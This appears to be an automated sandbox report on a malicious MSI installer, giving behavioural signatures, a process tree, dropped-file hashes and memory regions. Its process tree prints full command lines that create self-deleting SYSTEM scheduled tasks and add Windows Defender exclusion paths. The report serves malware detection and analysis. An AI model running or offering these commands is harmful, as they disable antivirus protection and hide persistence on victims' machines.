Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/07/2026, 23:41

General

  • Target
    zinst.6638258014.msi
  • Size 9.7MB
  • Sample260706-3pr3vsdt81
  • SHA256 37c9f9cb5728ff8deb7f517e451bcc16c698b976b1a9d0104fa0ea9a1ca28cab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\zinst.6638258014.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1760
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5096
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1704
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 0A9DC9E5730A88D5AEE71FC23967D8C3 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3452
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:3956
  • C:\Users\Public\TRHSHt\QHqQ0Q.exe
    C:\Users\Public\TRHSHt\QHqQ0Q.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4856
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TRHSHt\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3836
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TRHSHt\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4432
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4216
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4416
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4124
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4848
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2944
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4872
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2976
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2752
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2760
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4956
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1832
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4556
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4460
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TRHSHt" /t REG_DWORD /d 0 /f
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3500
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TRHSHt" /t REG_DWORD /d 0 /f
                    2⤵
                    • Windows security bypass
                    PID:2584
                • C:\Windows\system32\cmd.exe
                  cmd.exe
                  1⤵
                    PID:4732
                  • C:\Windows\system32\cmd.exe
                    cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2004
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                      2⤵
                      • Windows security bypass
                      PID:1488
                  • C:\Windows\system32\cmd.exe
                    cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4604
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                      2⤵
                      • Windows security bypass
                      PID:3216
                  • C:\Windows\system32\cmd.exe
                    cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                    1⤵
                      PID:2892

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          e584d61.rbs

                          • Path C:\Config.Msi\e584d61.rbs
                          • Size 7KB
                          • SHA256 5cf8d05b70e18f7148dbec38212b9a8e51938849a51d5418ca239b45940cf04d
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          QHqQ0Q.exe

                          • Path C:\Users\Public\TRHSHt\QHqQ0Q.exe
                          • Size 135KB
                          • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          UxEnhance64.dll

                          • Path C:\Users\Public\TRHSHt\UxEnhance64.dll
                          • Size 3.1MB
                          • SHA256 b806d32709b3911436f929ce6a8936b499b4fb8935eb8eff8f1c538698e28659
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          adoresd.dat

                          • Path C:\Users\Public\TRHSHt\adoresd.dat
                          • Size 4.8MB
                          • SHA256 9677a5c20dd2f3b43ded7095cb41fcb162916957c5f7bddec84b35c71a52138d
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          msadox.tb

                          • Path C:\Users\Public\TRHSHt\msadox.tb
                          • Size 8KB
                          • SHA256 cc7bd8e4fb5e2871dfca14dea5f853f972d457e83fe71f60c8cc3da701d87148
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          MSI4F45.tmp

                          • Path C:\Windows\Installer\MSI4F45.tmp
                          • Size 9.6MB
                          • SHA256 74990d1b11408f303275235016db4c8e6fc321736ac77ecfe4291a8eb2423812
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          e584d60.msi

                          • Path C:\Windows\Installer\e584d60.msi
                          • Size 9.7MB
                          • SHA256 37c9f9cb5728ff8deb7f517e451bcc16c698b976b1a9d0104fa0ea9a1ca28cab
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          metadata-2

                          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                          • Size 24.1MB
                          • SHA256 5fb2f5b0741a4749697ec78ecf88d66abb6efc8f82c586a13b56c9b9211852ca
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          {6025e342-b3f8-431f-8208-befaf707f47b}_OnDiskSnapshotProp

                          • Path \??\Volume{cd0aa2ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{6025e342-b3f8-431f-8208-befaf707f47b}_OnDiskSnapshotProp
                          • Size 6KB
                          • SHA256 05840328207f7bc56ea83ebae2805efdcb7ea78e6c85f553762c89fd12bf96cd
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/3452-15-0x00007FFE6F110000-0x00007FFE6F72B000-memory.dmp

                          memory/3452-41-0x00007FFE7E290000-0x00007FFE7E2A0000-memory.dmp

                          memory/3452-18-0x00007FFE7E290000-0x00007FFE7E2A0000-memory.dmp

                          memory/3452-14-0x00007FFE8DF70000-0x00007FFE8DF72000-memory.dmp

                          memory/4856-61-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-75-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-55-0x00007FFE8DF70000-0x00007FFE8DF72000-memory.dmp

                          memory/4856-64-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-63-0x00007FFE8DF80000-0x00007FFE8DF82000-memory.dmp

                          memory/4856-68-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-69-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-71-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-70-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-56-0x00007FFE70480000-0x00007FFE709A6000-memory.dmp

                          memory/4856-84-0x000001D4E0390000-0x000001D4E041A000-memory.dmp

                          memory/4856-83-0x000001D4E0390000-0x000001D4E041A000-memory.dmp

                          memory/4856-82-0x000001D4E0390000-0x000001D4E041A000-memory.dmp

                          memory/4856-89-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-88-0x000001D4DFA40000-0x000001D4E02FE000-memory.dmp

                          memory/4856-81-0x000001D4E0390000-0x000001D4E041A000-memory.dmp

                          memory/4856-80-0x000001D4DEFD0000-0x000001D4DF01E000-memory.dmp